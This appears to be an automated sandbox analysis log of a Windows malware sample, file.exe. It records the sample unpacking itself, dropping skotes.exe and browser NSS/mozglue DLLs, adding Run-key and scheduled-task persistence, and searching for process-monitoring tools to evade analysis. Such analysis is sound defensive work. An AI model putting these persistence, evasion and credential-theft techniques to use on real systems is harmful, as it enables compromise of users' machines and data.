Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1782784 > 1048576

Source: file.exe

Static PE information: Raw size of mvlkjrdz is bigger than: 0x100000 < 0x199800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2655139395.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: e8cb2646d2.exe, 0000001E.00000002.3105997108.0000000000DB2000.00000040.00000001.01000000.00000010.sdmp, e8cb2646d2.exe, 0000001E.00000003.2971584224.0000000004990000.00000004.00001000.00020000.00000000.sdmp, e8cb2646d2.exe, 00000020.00000002.3172278060.0000000000DB2000.00000040.00000001.01000000.00000010.sdmp, e8cb2646d2.exe, 00000020.00000003.3131912525.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, e8cb2646d2.exe, 00000021.00000003.3267299205.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, e8cb2646d2.exe, 00000021.00000002.3307614636.0000000000DB2000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2655139395.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.5b0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mvlkjrdz:EW;qwnzmlhb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mvlkjrdz:EW;qwnzmlhb:EW;.taggant:EW;
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Unpacked PE file: 22.2.DocumentsCBAKJEHDBG.exe.e40000.0.unpack :EW;.rsrc:W;.idata :W;edckxlhy:EW;fhweoctw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;edckxlhy:EW;fhweoctw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.c30000.0.unpack :EW;.rsrc:W;.idata :W;edckxlhy:EW;fhweoctw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;edckxlhy:EW;fhweoctw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.c30000.0.unpack :EW;.rsrc:W;.idata :W;edckxlhy:EW;fhweoctw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;edckxlhy:EW;fhweoctw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Unpacked PE file: 26.2.80b5f835af.exe.5f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mvlkjrdz:EW;qwnzmlhb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mvlkjrdz:EW;qwnzmlhb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Unpacked PE file: 29.2.80b5f835af.exe.5f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mvlkjrdz:EW;qwnzmlhb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mvlkjrdz:EW;qwnzmlhb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Unpacked PE file: 30.2.e8cb2646d2.exe.db0000.0.unpack :EW;.rsrc:W;.idata :W;moxnkmea:EW;wbqgbjdp:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Unpacked PE file: 31.2.80b5f835af.exe.5f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mvlkjrdz:EW;qwnzmlhb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mvlkjrdz:EW;qwnzmlhb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Unpacked PE file: 32.2.e8cb2646d2.exe.db0000.0.unpack :EW;.rsrc:W;.idata :W;moxnkmea:EW;wbqgbjdp:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Unpacked PE file: 33.2.e8cb2646d2.exe.db0000.0.unpack :EW;.rsrc:W;.idata :W;moxnkmea:EW;wbqgbjdp:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAD3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CAD3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsCBAKJEHDBG.exe.0.dr	Static PE information: real checksum: 0x31ade2 should be: 0x317c2c
Source: file.exe	Static PE information: real checksum: 0x1baad1 should be: 0x1bc7b8
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1baad1 should be: 0x1bc7b8
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x31ade2 should be: 0x317c2c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mvlkjrdz
Source: file.exe	Static PE information: section name: qwnzmlhb
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsCBAKJEHDBG.exe.0.dr	Static PE information: section name:
Source: DocumentsCBAKJEHDBG.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsCBAKJEHDBG.exe.0.dr	Static PE information: section name: edckxlhy
Source: DocumentsCBAKJEHDBG.exe.0.dr	Static PE information: section name: fhweoctw
Source: DocumentsCBAKJEHDBG.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: mvlkjrdz
Source: random[1].exe.0.dr	Static PE information: section name: qwnzmlhb
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name: edckxlhy
Source: skotes.exe.22.dr	Static PE information: section name: fhweoctw
Source: skotes.exe.22.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0B536 push ecx; ret	0_2_6CB0B549
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E5D91C push ecx; ret	22_2_00E5D92F
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Code function: 22_2_00E51359 push es; ret	22_2_00E5135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C4D91C push ecx; ret	23_2_00C4D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00C4D91C push ecx; ret	24_2_00C4D92F

Source: file.exe	Static PE information: section name: mvlkjrdz entropy: 7.95315931492027
Source: DocumentsCBAKJEHDBG.exe.0.dr	Static PE information: section name: entropy: 6.956314316030345
Source: random[1].exe.0.dr	Static PE information: section name: mvlkjrdz entropy: 7.95315931492027
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 6.956314316030345

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCBAKJEHDBG.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsCBAKJEHDBG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCBAKJEHDBG.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 80b5f835af.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e8cb2646d2.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCBAKJEHDBG.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCBAKJEHDBG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005748001\e8cb2646d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsCBAKJEHDBG.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 80b5f835af.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 80b5f835af.exe
